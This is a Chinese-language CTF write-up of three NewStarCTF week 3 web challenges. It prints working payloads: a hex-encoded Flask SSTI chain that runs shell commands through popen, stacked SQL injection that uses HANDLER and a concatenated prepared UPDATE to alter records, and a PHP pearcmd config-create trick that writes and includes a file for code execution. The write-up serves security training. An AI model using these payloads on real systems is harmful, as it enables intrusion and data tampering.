NewStarCTF week 3 web wp

**

BabySSTI_One

**

NewStarCTF week 3 web wp_第1张图片
这样能解析应该是python的flask ssti

这里一开始试了直接引号拼接 但是发现都不能成功后面想了想尝试
十六进制编码
大概是这么个写法
{{‘’.__class__.__base__.__subclasses__()[64].__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).popen(‘ls’).read()}}
NewStarCTF week 3 web wp_第2张图片也就是说我们是可以
{{‘’.__class__}} 写成{{‘’[‘__class__’]}}
然后用hex编码
{{‘’[‘\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f’][‘\x5f\x5f\x62\x61\x73\x65\x5f\x5f’]‘\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f’[64][‘\x5f\x5f\x69\x6e\x69\x74\x5f\x5f’][‘\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f’][‘\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f’]‘\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f’‘\x70\x6f\x70\x65\x6e’‘\x72\x65\x61\x64’}}我们来测试一下
NewStarCTF week 3 web wp_第3张图片最后payload:
{{‘’[‘\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f’][‘\x5f\x5f\x62\x61\x73\x65\x5f\x5f’]‘\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f’[64][‘\x5f\x5f\x69\x6e\x69\x74\x5f\x5f’][‘\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f’][‘\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f’]‘\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f’[‘\x70\x6f\x70\x65\x6e’](‘tac /fla*’)‘\x72\x65\x61\x64’}}

**

multiSQL

**

进去后看这个sql注入的样子就有点像堆叠0.0

输入1’;show tables;#
NewStarCTF week 3 web wp_第4张图片果然是堆叠
NewStarCTF week 3 web wp_第5张图片
NewStarCTF week 3 web wp_第6张图片select被禁了这里采用 handler做一个句柄去读取这张表
写法
handler tablename open;handler tablename read first;
然后想着flag在哪看到提醒
NewStarCTF week 3 web wp_第7张图片改个成绩吧
1’;set @a=concat(‘up’,‘date score set listen=120;’);prepare d from @a;execute d;#
NewStarCTF week 3 web wp_第8张图片
改掉了
NewStarCTF week 3 web wp_第9张图片

**

IncludeTwo

**
NewStarCTF week 3 web wp_第10张图片他包含了$file 但是会在后面加上.php 然后就开始想文件包含的利用方式有裸文件包含,但是不知道文件名,伪协议 但是这里用不起来 ,session上传包含,堆栈清空包含这些都试过但是没效果,最后找到了这么一篇文章

p神博客

大部分都是转载自p神博客的,不得不说p神真是个顶级大牛。

写法
?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/test.php
然后连接就行

连接 ?file=/tmp/test

最后一道TP链的先自己审一遍tp框架后再给出不然直接利用别人的tp链感觉什么都学不到

你可能感兴趣的:(题解,安全,web安全)